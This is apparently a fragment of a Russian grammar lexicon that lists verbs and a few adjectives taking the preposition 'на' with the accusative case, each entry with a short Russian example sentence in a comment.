rus_verbs:фапать{}, // Не фапай на желтяк и не перебивай.
rus_verbs:умножить{}, // Умножьте это количество примерно на 10.
//rus_verbs:умножать{},
rus_verbs:откатить{}, // Откатил Шпак валун на шлях и перекрыл им дорогу.
rus_verbs:откатывать{},
rus_verbs:доносить{}, // Вот и побежали на вас доносить.
rus_verbs:донести{},
rus_verbs:разбирать{}, // Ворованные автомобили злоумышленники разбирали на запчасти и продавали.
безлич_глагол:хватит{}, // - На одну атаку хватит.
rus_verbs:скупиться{}, // Он сражался за жизнь, не скупясь на хитрости и усилия, и пока этот стиль давал неплохие результаты.
rus_verbs:поскупиться{}, // Не поскупись на похвалы!
rus_verbs:подыматься{},
rus_verbs:транспортироваться{},
rus_verbs:бахнуть{}, // Бахнуть стакан на пол
rus_verbs:РАЗДЕЛИТЬ{}, // Президентские выборы разделили Венесуэлу на два непримиримых лагеря (РАЗДЕЛИТЬ)
rus_verbs:НАЦЕЛИВАТЬСЯ{}, // Невдалеке пролетел кондор, нацеливаясь на бизонью тушу. (НАЦЕЛИВАТЬСЯ)
rus_verbs:ВЫПЛЕСНУТЬ{}, // Низкий вибрирующий гул напоминал вулкан, вот-вот готовый выплеснуть на земную твердь потоки раскаленной лавы. (ВЫПЛЕСНУТЬ)
rus_verbs:ИСЧЕЗНУТЬ{}, // Оно фыркнуло и исчезло в лесу на другой стороне дороги (ИСЧЕЗНУТЬ)
rus_verbs:ВЫЗВАТЬ{}, // вызвать своего брата на поединок. (ВЫЗВАТЬ)
rus_verbs:ПОБРЫЗГАТЬ{}, // Матрос побрызгал немного фимиама на крошечный огонь (ПОБРЫЗГАТЬ/БРЫЗГАТЬ/БРЫЗНУТЬ/КАПНУТЬ/КАПАТЬ/ПОКАПАТЬ)
rus_verbs:БРЫЗГАТЬ{},
rus_verbs:БРЫЗНУТЬ{},
rus_verbs:КАПНУТЬ{},
rus_verbs:КАПАТЬ{},
rus_verbs:ПОКАПАТЬ{},
rus_verbs:ПООХОТИТЬСЯ{}, // Мы можем когда-нибудь вернуться и поохотиться на него. (ПООХОТИТЬСЯ/ОХОТИТЬСЯ)
rus_verbs:ОХОТИТЬСЯ{}, //
rus_verbs:ПОПАСТЬСЯ{}, // Не думал я, что они попадутся на это (ПОПАСТЬСЯ/НАРВАТЬСЯ/НАТОЛКНУТЬСЯ)
rus_verbs:НАРВАТЬСЯ{}, //
rus_verbs:НАТОЛКНУТЬСЯ{}, //
rus_verbs:ВЫСЛАТЬ{}, // Он выслал разведчиков на большое расстояние от основного отряда. (ВЫСЛАТЬ)
прилагательное:ПОХОЖИЙ{}, // Ты не выглядишь похожим на индейца (ПОХОЖИЙ)
rus_verbs:РАЗОРВАТЬ{}, // Через минуту он был мертв и разорван на части. (РАЗОРВАТЬ)
rus_verbs:СТОЛКНУТЬ{}, // Только быстрыми выпадами копья он сумел столкнуть их обратно на карниз. (СТОЛКНУТЬ/СТАЛКИВАТЬ)
rus_verbs:СТАЛКИВАТЬ{}, //
rus_verbs:СПУСТИТЬ{}, // Я побежал к ним, но они к тому времени спустили лодку на воду (СПУСТИТЬ)
rus_verbs:ПЕРЕБРАСЫВАТЬ{}, // Сирия перебрасывает на юг страны воинские подкрепления (ПЕРЕБРАСЫВАТЬ, ПЕРЕБРОСИТЬ, НАБРАСЫВАТЬ, НАБРОСИТЬ)
rus_verbs:ПЕРЕБРОСИТЬ{}, //
rus_verbs:НАБРАСЫВАТЬ{}, //
rus_verbs:НАБРОСИТЬ{}, //
rus_verbs:СВЕРНУТЬ{}, // Он вывел машину на бульвар и поехал на восток, а затем свернул на юг. (СВЕРНУТЬ/СВОРАЧИВАТЬ/ПОВЕРНУТЬ/ПОВОРАЧИВАТЬ)
rus_verbs:СВОРАЧИВАТЬ{}, // //
rus_verbs:ПОВЕРНУТЬ{}, //
rus_verbs:ПОВОРАЧИВАТЬ{}, //
rus_verbs:наорать{},
rus_verbs:ПРОДВИНУТЬСЯ{}, // Полк продвинется на десятки километров (ПРОДВИНУТЬСЯ)
rus_verbs:БРОСАТЬ{}, // Он бросает обещания на ветер (БРОСАТЬ)
rus_verbs:ОДОЛЖИТЬ{}, // Я вам одолжу книгу на десять дней (ОДОЛЖИТЬ)
rus_verbs:перегнать{}, // Скот нужно перегнать с этого пастбища на другое
rus_verbs:перегонять{},
rus_verbs:выгонять{},
rus_verbs:выгнать{},
rus_verbs:СВОДИТЬСЯ{}, // сейчас панели кузовов расходятся по десяткам покрасочных постов и потом сводятся вновь на общий конвейер (СВОДИТЬСЯ)
rus_verbs:ПОЖЕРТВОВАТЬ{}, // Бывший функционер компартии Эстонии пожертвовал деньги на расследования преступлений коммунизма (ПОЖЕРТВОВАТЬ)
rus_verbs:ПРОВЕРЯТЬ{}, // Школьников будут принудительно проверять на курение (ПРОВЕРЯТЬ)
rus_verbs:ОТПУСТИТЬ{}, // Приставы отпустят должников на отдых (ОТПУСТИТЬ)
rus_verbs:использоваться{}, // имеющийся у государства денежный запас активно используется на поддержание рынка акций
rus_verbs:назначаться{}, // назначаться на пост
rus_verbs:наблюдать{}, // Судья , долго наблюдавший в трубу , вдруг вскричал
rus_verbs:ШПИОНИТЬ{}, // Канадского офицера, шпионившего на Россию, приговорили к 20 годам тюрьмы (ШПИОНИТЬ НА вин)
rus_verbs:ЗАПЛАНИРОВАТЬ{}, // все деньги , запланированные на сейсмоукрепление домов на Камчатке (ЗАПЛАНИРОВАТЬ НА)
// rus_verbs:ПОХОДИТЬ{}, // больше походил на обвинительную речь , адресованную руководству республики (ПОХОДИТЬ НА)
rus_verbs:ДЕЙСТВОВАТЬ{}, // выявленный контрабандный канал действовал на постоянной основе (ДЕЙСТВОВАТЬ НА)
rus_verbs:ПЕРЕДАТЬ{}, // после чего должно быть передано на рассмотрение суда (ПЕРЕДАТЬ НА вин)
rus_verbs:НАЗНАЧИТЬСЯ{}, // Зимой на эту должность пытался назначиться народный депутат (НАЗНАЧИТЬСЯ НА)
rus_verbs:РЕШИТЬСЯ{}, // Франция решилась на одностороннее и рискованное военное вмешательство (РЕШИТЬСЯ НА)
rus_verbs:ОРИЕНТИРОВАТЬ{}, // Этот браузер полностью ориентирован на планшеты и сенсорный ввод (ОРИЕНТИРОВАТЬ НА вин)
rus_verbs:ЗАВЕСТИ{}, // на Витьку завели дело (ЗАВЕСТИ НА)
rus_verbs:ОБРУШИТЬСЯ{}, // В Северной Осетии на воинскую часть обрушилась снежная лавина (ОБРУШИТЬСЯ В, НА)
rus_verbs:НАСТРАИВАТЬСЯ{}, // гетеродин, настраивающийся на волну (НАСТРАИВАТЬСЯ НА)
rus_verbs:СУЩЕСТВОВАТЬ{}, // Он существует на средства родителей. (СУЩЕСТВОВАТЬ НА)
прилагательное:способный{}, // Он способен на убийство. (СПОСОБНЫЙ НА)
rus_verbs:посыпаться{}, // на Нину посыпались снежинки
инфинитив:нарезаться{ вид:несоверш }, // Урожай собирают механически или вручную, стебли нарезаются на куски и быстро транспортируются на перерабатывающий завод.
глагол:нарезаться{ вид:несоверш },
rus_verbs:пожаловать{}, // скандально известный певец пожаловал к нам на передачу
rus_verbs:показать{}, // Вадим показал на Колю
rus_verbs:съехаться{}, // Финалисты съехались на свои игры в Лос-Анжелес. (СЪЕХАТЬСЯ НА, В)
rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА)
rus_verbs:упасть{}, // В Таиланде на автобус с российскими туристами упал башенный кран (УПАСТЬ В, НА)
прилагательное:тугой{}, // Бабушка туга на ухо. (ТУГОЙ НА)
rus_verbs:свисать{}, // Волосы свисают на лоб. (свисать на)
rus_verbs:ЦЕНИТЬСЯ{}, // Всякая рабочая рука ценилась на вес золота. (ЦЕНИТЬСЯ НА)
rus_verbs:ШУМЕТЬ{}, // Вы шумите на весь дом! (ШУМЕТЬ НА)
rus_verbs:протянуться{}, // Дорога протянулась на сотни километров. (протянуться на)
rus_verbs:РАССЧИТАТЬ{}, // Книга рассчитана на массового читателя. (РАССЧИТАТЬ НА)
rus_verbs:СОРИЕНТИРОВАТЬ{}, // мы сориентировали процесс на повышение котировок (СОРИЕНТИРОВАТЬ НА)
rus_verbs:рыкнуть{}, // рыкнуть на остальных членов стаи (рыкнуть на)
rus_verbs:оканчиваться{}, // оканчиваться на звонкую согласную (оканчиваться на)
rus_verbs:выехать{}, // посигналить нарушителю, выехавшему на встречную полосу (выехать на)
rus_verbs:прийтись{}, // Пятое число пришлось на субботу.
rus_verbs:крениться{}, // корабль кренился на правый борт (крениться на)
rus_verbs:приходиться{}, // основной налоговый гнет приходится на средний бизнес (приходиться на)
rus_verbs:верить{}, // верить людям на слово (верить на слово)
rus_verbs:выезжать{}, // Завтра вся семья выезжает на новую квартиру.
rus_verbs:записать{}, // Запишите меня на завтрашний приём к доктору.
rus_verbs:пасть{}, // Жребий пал на меня.
rus_verbs:ездить{}, // Вчера мы ездили на оперу.
rus_verbs:влезть{}, // Мальчик влез на дерево.
rus_verbs:выбежать{}, // Мальчик выбежал из комнаты на улицу.
rus_verbs:разбиться{}, // окно разбилось на мелкие осколки
rus_verbs:бежать{}, // я бегу на урок
rus_verbs:сбегаться{}, // сбегаться на происшествие
rus_verbs:присылать{}, // присылать на испытание
rus_verbs:надавить{}, // надавить на педать
rus_verbs:внести{}, // внести законопроект на рассмотрение
rus_verbs:вносить{}, // вносить законопроект на рассмотрение
rus_verbs:поворачиваться{}, // поворачиваться на 180 градусов
rus_verbs:сдвинуть{}, // сдвинуть на несколько сантиметров
rus_verbs:опубликовать{}, // С.Митрохин опубликовал компромат на думских подельников Гудкова
rus_verbs:вырасти{}, // Официальный курс доллара вырос на 26 копеек.
rus_verbs:оглядываться{}, // оглядываться на девушек
rus_verbs:расходиться{}, // расходиться на отдых
rus_verbs:поскакать{}, // поскакать на службу
rus_verbs:прыгать{}, // прыгать на сцену
rus_verbs:приглашать{}, // приглашать на обед
rus_verbs:рваться{}, // Кусок ткани рвется на части
rus_verbs:понестись{}, // понестись на волю
rus_verbs:распространяться{}, // распространяться на всех жителей штата
инфинитив:просыпаться{ вид:соверш }, глагол:просыпаться{ вид:соверш }, // просыпаться на пол
инфинитив:просыпаться{ вид:несоверш }, глагол:просыпаться{ вид:несоверш },
деепричастие:просыпавшись{}, деепричастие:просыпаясь{},
rus_verbs:заехать{}, // заехать на пандус
rus_verbs:разобрать{}, // разобрать на составляющие
rus_verbs:опускаться{}, // опускаться на колени
rus_verbs:переехать{}, // переехать на конспиративную квартиру
rus_verbs:закрывать{}, // закрывать глаза на действия конкурентов
rus_verbs:поместить{}, // поместить на поднос
rus_verbs:отходить{}, // отходить на подготовленные позиции
rus_verbs:сыпаться{}, // сыпаться на плечи
rus_verbs:отвезти{}, // отвезти на занятия
rus_verbs:накинуть{}, // накинуть на плечи
rus_verbs:отлететь{}, // отлететь на пол
rus_verbs:закинуть{}, // закинуть на чердак
rus_verbs:зашипеть{}, // зашипеть на собаку
rus_verbs:прогреметь{}, // прогреметь на всю страну
rus_verbs:повалить{}, // повалить на стол
rus_verbs:опереть{}, // опереть на фундамент
rus_verbs:забросить{}, // забросить на антресоль
rus_verbs:подействовать{}, // подействовать на материал
rus_verbs:разделять{}, // разделять на части
rus_verbs:прикрикнуть{}, // прикрикнуть на детей
rus_verbs:разложить{}, // разложить на множители
rus_verbs:провожать{}, // провожать на работу
rus_verbs:катить{}, // катить на стройку
rus_verbs:наложить{}, // наложить запрет на проведение операций с недвижимостью
rus_verbs:сохранять{}, // сохранять на память
rus_verbs:злиться{}, // злиться на друга
rus_verbs:оборачиваться{}, // оборачиваться на свист
rus_verbs:сползти{}, // сползти на землю
rus_verbs:записывать{}, // записывать на ленту
rus_verbs:загнать{}, // загнать на дерево
rus_verbs:забормотать{}, // забормотать на ухо
rus_verbs:протиснуться{}, // протиснуться на самый край
rus_verbs:заторопиться{}, // заторопиться на вручение премии
rus_verbs:гаркнуть{}, // гаркнуть на шалунов
rus_verbs:навалиться{}, // навалиться на виновника всей толпой
rus_verbs:проскользнуть{}, // проскользнуть на крышу дома
rus_verbs:подтянуть{}, // подтянуть на палубу
rus_verbs:скатиться{}, // скатиться на двойки
rus_verbs:давить{}, // давить на жалость
rus_verbs:намекнуть{}, // намекнуть на новые обстоятельства
rus_verbs:замахнуться{}, // замахнуться на святое
rus_verbs:заменить{}, // заменить на свежую салфетку
rus_verbs:свалить{}, // свалить на землю
rus_verbs:стекать{}, // стекать на оголенные провода
rus_verbs:увеличиваться{}, // увеличиваться на сотню процентов
rus_verbs:развалиться{}, // развалиться на части
rus_verbs:сердиться{}, // сердиться на товарища
rus_verbs:обронить{}, // обронить на пол
rus_verbs:подсесть{}, // подсесть на наркоту
rus_verbs:реагировать{}, // реагировать на импульсы
rus_verbs:отпускать{}, // отпускать на волю
rus_verbs:прогнать{}, // прогнать на рабочее место
rus_verbs:ложить{}, // ложить на стол
rus_verbs:рвать{}, // рвать на части
rus_verbs:разлететься{}, // разлететься на кусочки
rus_verbs:превышать{}, // превышать на существенную величину
rus_verbs:сбиться{}, // сбиться на рысь
rus_verbs:пристроиться{}, // пристроиться на хорошую работу
rus_verbs:удрать{}, // удрать на пастбище
rus_verbs:толкать{}, // толкать на преступление
rus_verbs:посматривать{}, // посматривать на экран
rus_verbs:набирать{}, // набирать на судно
rus_verbs:отступать{}, // отступать на дерево
rus_verbs:подуть{}, // подуть на молоко
rus_verbs:плеснуть{}, // плеснуть на голову
rus_verbs:соскользнуть{}, // соскользнуть на землю
rus_verbs:затаить{}, // затаить на кого-то обиду
rus_verbs:обижаться{}, // обижаться на Колю
rus_verbs:смахнуть{}, // смахнуть на пол
rus_verbs:застегнуть{}, // застегнуть на все пуговицы
rus_verbs:спускать{}, // спускать на землю
rus_verbs:греметь{}, // греметь на всю округу
rus_verbs:скосить{}, // скосить на соседа глаз
rus_verbs:отважиться{}, // отважиться на прыжок
rus_verbs:литься{}, // литься на землю
rus_verbs:порвать{}, // порвать на тряпки
rus_verbs:проследовать{}, // проследовать на сцену
rus_verbs:надевать{}, // надевать на голову
rus_verbs:проскочить{}, // проскочить на красный свет
rus_verbs:прилечь{}, // прилечь на диванчик
rus_verbs:разделиться{}, // разделиться на небольшие группы
rus_verbs:завыть{}, // завыть на луну
rus_verbs:переносить{}, // переносить на другую машину
rus_verbs:наговорить{}, // наговорить на сотню рублей
rus_verbs:намекать{}, // намекать на новые обстоятельства
rus_verbs:нападать{}, // нападать на охранников
rus_verbs:убегать{}, // убегать на другое место
rus_verbs:тратить{}, // тратить на развлечения
rus_verbs:присаживаться{}, // присаживаться на корточки
rus_verbs:переместиться{}, // переместиться на вторую линию
rus_verbs:завалиться{}, // завалиться на диван
rus_verbs:удалиться{}, // удалиться на покой
rus_verbs:уменьшаться{}, // уменьшаться на несколько процентов
rus_verbs:обрушить{}, // обрушить на голову
rus_verbs:резать{}, // резать на части
rus_verbs:умчаться{}, // умчаться на юг
rus_verbs:навернуться{}, // навернуться на камень
rus_verbs:примчаться{}, // примчаться на матч
rus_verbs:издавать{}, // издавать на собственные средства
rus_verbs:переключить{}, // переключить на другой язык
rus_verbs:отправлять{}, // отправлять на пенсию
rus_verbs:залечь{}, // залечь на дно
rus_verbs:установиться{}, // установиться на диск
rus_verbs:направлять{}, // направлять на дополнительное обследование
rus_verbs:разрезать{}, // разрезать на части
rus_verbs:оскалиться{}, // оскалиться на прохожего
rus_verbs:рычать{}, // рычать на пьяных
rus_verbs:погружаться{}, // погружаться на дно
rus_verbs:опираться{}, // опираться на костыли
rus_verbs:поторопиться{}, // поторопиться на учебу
rus_verbs:сдвинуться{}, // сдвинуться на сантиметр
rus_verbs:увеличить{}, // увеличить на процент
rus_verbs:опускать{}, // опускать на землю
rus_verbs:созвать{}, // созвать на митинг
rus_verbs:делить{}, // делить на части
rus_verbs:пробиться{}, // пробиться на заключительную часть
rus_verbs:простираться{}, // простираться на много миль
rus_verbs:забить{}, // забить на учебу
rus_verbs:переложить{}, // переложить на чужие плечи
rus_verbs:грохнуться{}, // грохнуться на землю
rus_verbs:прорваться{}, // прорваться на сцену
rus_verbs:разлить{}, // разлить на землю
rus_verbs:укладываться{}, // укладываться на ночевку
rus_verbs:уволить{}, // уволить на пенсию
rus_verbs:наносить{}, // наносить на кожу
rus_verbs:набежать{}, // набежать на берег
rus_verbs:заявиться{}, // заявиться на стрельбище
rus_verbs:налиться{}, // налиться на крышку
rus_verbs:надвигаться{}, // надвигаться на берег
rus_verbs:распустить{}, // распустить на каникулы
rus_verbs:переключиться{}, // переключиться на другую задачу
rus_verbs:чихнуть{}, // чихнуть на окружающих
rus_verbs:шлепнуться{}, // шлепнуться на спину
rus_verbs:устанавливать{}, // устанавливать на крышу
rus_verbs:устанавливаться{}, // устанавливаться на крышу
rus_verbs:устраиваться{}, // устраиваться на работу
rus_verbs:пропускать{}, // пропускать на стадион
инфинитив:сбегать{ вид:соверш }, глагол:сбегать{ вид:соверш }, // сбегать на фильм
инфинитив:сбегать{ вид:несоверш }, глагол:сбегать{ вид:несоверш },
деепричастие:сбегав{}, деепричастие:сбегая{},
rus_verbs:показываться{}, // показываться на глаза
rus_verbs:прибегать{}, // прибегать на урок
rus_verbs:съездить{}, // съездить на ферму
rus_verbs:прославиться{}, // прославиться на всю страну
rus_verbs:опрокинуться{}, // опрокинуться на спину
rus_verbs:насыпать{}, // насыпать на землю
rus_verbs:употреблять{}, // употреблять на корм скоту
rus_verbs:пристроить{}, // пристроить на работу
rus_verbs:заворчать{}, // заворчать на вошедшего
rus_verbs:завязаться{}, // завязаться на поставщиков
rus_verbs:сажать{}, // сажать на стул
rus_verbs:напрашиваться{}, // напрашиваться на жесткие ответные меры
rus_verbs:заменять{}, // заменять на исправную
rus_verbs:нацепить{}, // нацепить на голову
rus_verbs:сыпать{}, // сыпать на землю
rus_verbs:закрываться{}, // закрываться на ремонт
rus_verbs:распространиться{}, // распространиться на всю популяцию
rus_verbs:поменять{}, // поменять на велосипед
rus_verbs:пересесть{}, // пересесть на велосипеды
rus_verbs:подоспеть{}, // подоспеть на разбор
rus_verbs:шипеть{}, // шипеть на собак
rus_verbs:поделить{}, // поделить на части
rus_verbs:подлететь{}, // подлететь на расстояние выстрела
rus_verbs:нажимать{}, // нажимать на все кнопки
rus_verbs:распасться{}, // распасться на части
rus_verbs:приволочь{}, // приволочь на диван
rus_verbs:пожить{}, // пожить на один доллар
rus_verbs:устремляться{}, // устремляться на свободу
rus_verbs:смахивать{}, // смахивать на пол
rus_verbs:забежать{}, // забежать на обед
rus_verbs:увеличиться{}, // увеличиться на существенную величину
rus_verbs:прокрасться{}, // прокрасться на склад
rus_verbs:пущать{}, // пущать на постой
rus_verbs:отклонить{}, // отклонить на несколько градусов
rus_verbs:насмотреться{}, // насмотреться на безобразия
rus_verbs:настроить{}, // настроить на короткие волны
rus_verbs:уменьшиться{}, // уменьшиться на пару сантиметров
rus_verbs:поменяться{}, // поменяться на другую книжку
rus_verbs:расколоться{}, // расколоться на части
rus_verbs:разлиться{}, // разлиться на землю
rus_verbs:срываться{}, // срываться на жену
rus_verbs:осудить{}, // осудить на пожизненное заключение
rus_verbs:передвинуть{}, // передвинуть на первое место
rus_verbs:допускаться{}, // допускаться на полигон
rus_verbs:задвинуть{}, // задвинуть на полку
rus_verbs:повлиять{}, // повлиять на оценку
rus_verbs:отбавлять{}, // отбавлять на осмотр
rus_verbs:сбрасывать{}, // сбрасывать на землю
rus_verbs:накинуться{}, // накинуться на случайных прохожих
rus_verbs:пролить{}, // пролить на кожу руки
rus_verbs:затащить{}, // затащить на сеновал
rus_verbs:перебежать{}, // перебежать на сторону противника
rus_verbs:наливать{}, // наливать на скатерть
rus_verbs:пролезть{}, // пролезть на сцену
rus_verbs:откладывать{}, // откладывать на черный день
rus_verbs:распадаться{}, // распадаться на небольшие фрагменты
rus_verbs:перечислить{}, // перечислить на счет
rus_verbs:закачаться{}, // закачаться на верхний уровень
rus_verbs:накрениться{}, // накрениться на правый борт
rus_verbs:подвинуться{}, // подвинуться на один уровень
rus_verbs:разнести{}, // разнести на мелкие кусочки
rus_verbs:зажить{}, // зажить на широкую ногу
rus_verbs:оглохнуть{}, // оглохнуть на правое ухо
rus_verbs:посетовать{}, // посетовать на бюрократизм
rus_verbs:уводить{}, // уводить на осмотр
rus_verbs:ускакать{}, // ускакать на забег
rus_verbs:посветить{}, // посветить на стену
rus_verbs:разрываться{}, // разрываться на части
rus_verbs:побросать{}, // побросать на землю
rus_verbs:карабкаться{}, // карабкаться на скалу
rus_verbs:нахлынуть{}, // нахлынуть на кого-то
rus_verbs:разлетаться{}, // разлетаться на мелкие осколочки
rus_verbs:среагировать{}, // среагировать на сигнал
rus_verbs:претендовать{}, // претендовать на приз
rus_verbs:дунуть{}, // дунуть на одуванчик
rus_verbs:переводиться{}, // переводиться на другую работу
rus_verbs:перевезти{}, // перевезти на другую площадку
rus_verbs:топать{}, // топать на урок
rus_verbs:относить{}, // относить на склад
rus_verbs:сбивать{}, // сбивать на землю
rus_verbs:укладывать{}, // укладывать на спину
rus_verbs:укатить{}, // укатить на отдых
rus_verbs:убирать{}, // убирать на полку
rus_verbs:опасть{}, // опасть на землю
rus_verbs:ронять{}, // ронять на снег
rus_verbs:пялиться{}, // пялиться на тело
rus_verbs:глазеть{}, // глазеть на тело
rus_verbs:снижаться{}, // снижаться на безопасную высоту
rus_verbs:запрыгнуть{}, // запрыгнуть на платформу
rus_verbs:разбиваться{}, // разбиваться на главы
rus_verbs:сгодиться{}, // сгодиться на фарш
rus_verbs:перескочить{}, // перескочить на другую страницу
rus_verbs:нацелиться{}, // нацелиться на главную добычу
rus_verbs:заезжать{}, // заезжать на бордюр
rus_verbs:забираться{}, // забираться на крышу
rus_verbs:проорать{}, // проорать на всё село
rus_verbs:сбежаться{}, // сбежаться на шум
rus_verbs:сменять{}, // сменять на хлеб
rus_verbs:мотать{}, // мотать на ус
rus_verbs:раскалываться{}, // раскалываться на две половинки
rus_verbs:коситься{}, // коситься на режиссёра
rus_verbs:плевать{}, // плевать на законы
rus_verbs:ссылаться{}, // ссылаться на авторитетное мнение
rus_verbs:наставить{}, // наставить на путь истинный
rus_verbs:завывать{}, // завывать на Луну
rus_verbs:опаздывать{}, // опаздывать на совещание
rus_verbs:залюбоваться{}, // залюбоваться на пейзаж
rus_verbs:повергнуть{}, // повергнуть на землю
rus_verbs:надвинуть{}, // надвинуть на лоб
rus_verbs:стекаться{}, // стекаться на площадь
rus_verbs:обозлиться{}, // обозлиться на тренера
rus_verbs:оттянуть{}, // оттянуть на себя
rus_verbs:истратить{}, // истратить на дешевых шлюх
rus_verbs:вышвырнуть{}, // вышвырнуть на улицу
rus_verbs:затолкать{}, // затолкать на верхнюю полку
rus_verbs:заскочить{}, // заскочить на огонек
rus_verbs:проситься{}, // проситься на улицу
rus_verbs:натыкаться{}, // натыкаться на борщевик
rus_verbs:обрушиваться{}, // обрушиваться на митингующих
rus_verbs:переписать{}, // переписать на чистовик
rus_verbs:переноситься{}, // переноситься на другое устройство
rus_verbs:напроситься{}, // напроситься на обидный ответ
rus_verbs:натягивать{}, // натягивать на ноги
rus_verbs:кидаться{}, // кидаться на прохожих
rus_verbs:откликаться{}, // откликаться на призыв
rus_verbs:поспевать{}, // поспевать на балет
rus_verbs:обратиться{}, // обратиться на кафедру
rus_verbs:полюбоваться{}, // полюбоваться на бюст
rus_verbs:таращиться{}, // таращиться на мустангов
rus_verbs:напороться{}, // напороться на колючки
rus_verbs:раздать{}, // раздать на руки
rus_verbs:дивиться{}, // дивиться на танцовщиц
rus_verbs:назначать{}, // назначать на ответственнейший пост
rus_verbs:кидать{}, // кидать на балкон
rus_verbs:нахлобучить{}, // нахлобучить на башку
rus_verbs:увлекать{}, // увлекать на луг
rus_verbs:ругнуться{}, // ругнуться на животину
rus_verbs:переселиться{}, // переселиться на хутор
rus_verbs:разрывать{}, // разрывать на части
rus_verbs:утащить{}, // утащить на дерево
rus_verbs:наставлять{}, // наставлять на путь
rus_verbs:соблазнить{}, // соблазнить на обмен
rus_verbs:накладывать{}, // накладывать на рану
rus_verbs:набрести{}, // набрести на грибную поляну
rus_verbs:наведываться{}, // наведываться на прежнюю работу
rus_verbs:погулять{}, // погулять на чужие деньги
rus_verbs:уклоняться{}, // уклоняться на два градуса влево
rus_verbs:слезать{}, // слезать на землю
rus_verbs:клевать{}, // клевать на мотыля
// rus_verbs:назначаться{}, // назначаться на пост
rus_verbs:напялить{}, // напялить на голову
rus_verbs:натянуться{}, // натянуться на рамку
rus_verbs:разгневаться{}, // разгневаться на придворных
rus_verbs:эмигрировать{}, // эмигрировать на Кипр
rus_verbs:накатить{}, // накатить на основу
rus_verbs:пригнать{}, // пригнать на пастбище
rus_verbs:обречь{}, // обречь на мучения
rus_verbs:сокращаться{}, // сокращаться на четверть
rus_verbs:оттеснить{}, // оттеснить на пристань
rus_verbs:подбить{}, // подбить на аферу
rus_verbs:заманить{}, // заманить на дерево
инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать на кустик
// деепричастие:пописав{ aux stress="поп^исать" },
rus_verbs:посходить{}, // посходить на перрон
rus_verbs:налечь{}, // налечь на мясцо
rus_verbs:отбирать{}, // отбирать на флот
rus_verbs:нашептывать{}, // нашептывать на ухо
rus_verbs:откладываться{}, // откладываться на будущее
rus_verbs:залаять{}, // залаять на грабителя
rus_verbs:настроиться{}, // настроиться на прием
rus_verbs:разбивать{}, // разбивать на куски
rus_verbs:пролиться{}, // пролиться на почву
rus_verbs:сетовать{}, // сетовать на объективные трудности
rus_verbs:подвезти{}, // подвезти на митинг
rus_verbs:припереться{}, // припереться на праздник
rus_verbs:подталкивать{}, // подталкивать на прыжок
rus_verbs:прорываться{}, // прорываться на сцену
rus_verbs:снижать{}, // снижать на несколько процентов
rus_verbs:нацелить{}, // нацелить на танк
rus_verbs:расколоть{}, // расколоть на два куска
rus_verbs:увозить{}, // увозить на обкатку
rus_verbs:оседать{}, // оседать на дно
rus_verbs:съедать{}, // съедать на ужин
rus_verbs:навлечь{}, // навлечь на себя
rus_verbs:равняться{}, // равняться на лучших
rus_verbs:сориентироваться{}, // сориентироваться на местности
rus_verbs:снизить{}, // снизить на несколько процентов
rus_verbs:перенестись{}, // перенестись на много лет назад
rus_verbs:завезти{}, // завезти на склад
rus_verbs:проложить{}, // проложить на гору
rus_verbs:понадеяться{}, // понадеяться на удачу
rus_verbs:заступить{}, // заступить на вахту
rus_verbs:засеменить{}, // засеменить на выход
rus_verbs:запирать{}, // запирать на ключ
rus_verbs:скатываться{}, // скатываться на землю
rus_verbs:дробить{}, // дробить на части
rus_verbs:разваливаться{}, // разваливаться на кусочки
rus_verbs:завозиться{}, // завозиться на склад
rus_verbs:нанимать{}, // нанимать на дневную работу
rus_verbs:поспеть{}, // поспеть на концерт
rus_verbs:променять{}, // променять на сытость
rus_verbs:переправить{}, // переправить на север
rus_verbs:налетать{}, // налетать на силовое поле
rus_verbs:затворить{}, // затворить на замок
rus_verbs:подогнать{}, // подогнать на пристань
rus_verbs:наехать{}, // наехать на камень
rus_verbs:распевать{}, // распевать на разные голоса
rus_verbs:разносить{}, // разносить на клочки
rus_verbs:преувеличивать{}, // преувеличивать на много килограммов
rus_verbs:хромать{}, // хромать на одну ногу
rus_verbs:телеграфировать{}, // телеграфировать на базу
rus_verbs:порезать{}, // порезать на лоскуты
rus_verbs:порваться{}, // порваться на части
rus_verbs:загонять{}, // загонять на дерево
rus_verbs:отбывать{}, // отбывать на место службы
rus_verbs:усаживаться{}, // усаживаться на трон
rus_verbs:накопить{}, // накопить на квартиру
rus_verbs:зыркнуть{}, // зыркнуть на визитера
rus_verbs:копить{}, // копить на машину
rus_verbs:помещать{}, // помещать на верхнюю грань
rus_verbs:сползать{}, // сползать на снег
rus_verbs:попроситься{}, // попроситься на улицу
rus_verbs:перетащить{}, // перетащить на чердак
rus_verbs:растащить{}, // растащить на сувениры
rus_verbs:ниспадать{}, // ниспадать на землю
rus_verbs:сфотографировать{}, // сфотографировать на память
rus_verbs:нагонять{}, // нагонять на конкурентов страх
rus_verbs:покушаться{}, // покушаться на понтифика
rus_verbs:покуситься{},
rus_verbs:наняться{}, // наняться на службу
rus_verbs:просачиваться{}, // просачиваться на поверхность
rus_verbs:пускаться{}, // пускаться на ветер
rus_verbs:отваживаться{}, // отваживаться на прыжок
rus_verbs:досадовать{}, // досадовать на объективные трудности
rus_verbs:унестись{}, // унестись на небо
rus_verbs:ухудшаться{}, // ухудшаться на несколько процентов
rus_verbs:насадить{}, // насадить на копьё
rus_verbs:нагрянуть{}, // нагрянуть на праздник
rus_verbs:зашвырнуть{}, // зашвырнуть на полку
rus_verbs:грешить{}, // грешить на постояльцев
rus_verbs:просочиться{}, // просочиться на поверхность
rus_verbs:надоумить{}, // надоумить на глупость
rus_verbs:намотать{}, // намотать на шпиндель
rus_verbs:замкнуть{}, // замкнуть на корпус
rus_verbs:цыкнуть{}, // цыкнуть на детей
rus_verbs:переворачиваться{}, // переворачиваться на спину
rus_verbs:соваться{}, // соваться на площать
rus_verbs:отлучиться{}, // отлучиться на обед
rus_verbs:пенять{}, // пенять на себя
rus_verbs:нарезать{}, // нарезать на ломтики
rus_verbs:поставлять{}, // поставлять на Кипр
rus_verbs:залезать{}, // залезать на балкон
rus_verbs:отлучаться{}, // отлучаться на обед
rus_verbs:сбиваться{}, // сбиваться на шаг
rus_verbs:таращить{}, // таращить глаза на вошедшего
rus_verbs:прошмыгнуть{}, // прошмыгнуть на кухню
rus_verbs:опережать{}, // опережать на пару сантиметров
rus_verbs:переставить{}, // переставить на стол
rus_verbs:раздирать{}, // раздирать на части
